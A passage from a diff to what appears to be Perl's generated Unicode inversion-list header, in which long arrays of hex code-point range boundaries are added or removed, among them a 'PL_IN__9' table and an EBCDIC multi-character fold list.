+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
 	0x10400,
-	0x10450,
-	0x104B0,
-	0x104D4,
-	0x104D8,
-	0x104FC,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
 	0x10C80,
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
 	0x118A0,
-	0x118E0,
-	0x1E900,
-	0x1E944
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11AC0,
+	0x11AF9,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x1B000,
+	0x1B002,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F19B,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23B,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F300,
+	0x1F57A,
+	0x1F57B,
+	0x1F5A4,
+	0x1F5A5,
+	0x1F6D1,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F4,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F910,
+	0x1F919,
+	0x1F980,
+	0x1F985,
+	0x1F9C0,
+	0x1F9C1,
+	0x1FFFE,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
 };
 
-static const UV _Perl_Folds_To_Multi_Char_invlist[] = { /* for EBCDIC 037 */
-	59,	/* Number of elements */
+static const UV PL_IN__9_invlist[] = { /* for all charsets */
+	1296,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x59,
-	0x5A,
-	0x130,
-	0x131,
-	0x149,
-	0x14A,
-	0x1F0,
-	0x1F1,
-	0x390,
-	0x391,
-	0x3B0,
-	0x3B1,
-	0x587,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
 	0x588,
-	0x1E96,
-	0x1E9B,
-	0x1E9E,
-	0x1E9F,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FC,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xAFA,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD01,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x1D00,
+	0x1DF6,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
 	0x1F50,
-	0x1F51,
-	0x1F52,
-	0x1F53,
-	0x1F54,
-	0x1F55,
-	0x1F56,
-	0x1F57,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
 	0x1F80,
-	0x1FB0,
-	0x1FB2,
 	0x1FB5,
 	0x1FB6,
-	0x1FB8,
-	0x1FBC,
-	0x1FBD,
-	0x1FC2,
 	0x1FC5,
 	0x1FC6,
-	0x1FC8,
-	0x1FCC,
-	0x1FCD,
-	0x1FD2,
 	0x1FD4,
 	0x1FD6,
-	0x1FD8,
-	0x1FE2,
-	0x1FE5,
-	0x1FE6,
-	0x1FE8,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FF8,
-	0x1FFC,
-	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20BF,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x23FF,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD2,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E45,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312E,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FD6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
-	0xFB18
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE1,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
